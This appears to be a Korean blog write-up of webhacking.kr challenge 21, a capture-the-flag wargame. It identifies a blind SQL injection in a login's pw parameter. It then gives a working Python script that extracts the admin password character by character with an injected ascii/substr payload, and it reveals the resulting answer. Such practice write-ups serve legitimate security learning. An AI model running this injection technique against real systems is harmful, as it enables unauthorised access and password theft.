https://webhacking.kr/

 

Webhacking.kr

Index Welcome Stranger! Chatting Notice(en) [2021-04-16] Score of old challenges has been adjusted to 1/10. For a while now, new challenges will be added "without" notice. [2020-08-12] Replace chat feature with Discord. Please do not cause inconvenience to

webhacking.kr

 

 

 

아무 값을 입력하니 login fail이 뜬다.

 

webhacking.kr/challenge/bonus-1/index.php?id=asd&pw=asd

url로 값을 전달하는 것을 보아 ID와 PW 모두 get방식으로 전달 받는다.

 

ID와 PW에 guest를 입력하니 login success가 뜬다.

 

쿼리문이 성립 되면(참이면) wrong password가 뜨는 것 같다.

 

ID는 admin으로 확정 짓고, admin의 pw를 알아내야한다. pw의 길이와 문자열을 알아내야한다.

 

위의 코드를 돌리면 length가 36임을 알 수 있다.

 

 

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php?id=admin&'
header={'Cookie':'PHPSESSID=sqge4qh5haviq2cdvg6hj6claf'}

pw=""
for i in range(1,37):
    for j in range(33,127):
        query = "pw='+or+ascii(substr(pw,{},1))={}+%23".format(i,j)
        result = requests.get(url+query, headers = header)
        if "wrong password" in result.text:
            print("pw:" ,pw)
            pw += chr(j)
            break

print(pw)

 

pw의 길이만큼 반복하며 문자열을 알아내는 코드이다.

ghere_is_no_rest_for_the_white_angel 라는 값이 나왔는데, g를 t로 바꾸면 될 것 같다.

 

Solve!

 

참고

https://jacksimon86.tistory.com/74

 

webhacking.kr 21번

21번을 들어가면 화면처럼 그냥 대놓고 블라인드 sql 인젝션 문제라고 적혀있습니다. 그래서 이것저것 넣어보았습니다. id, pw에 모두 guest을 넣은뒤 검색하면 url은 이렇게 바뀌고 login sucess라는 표

jacksimon86.tistory.com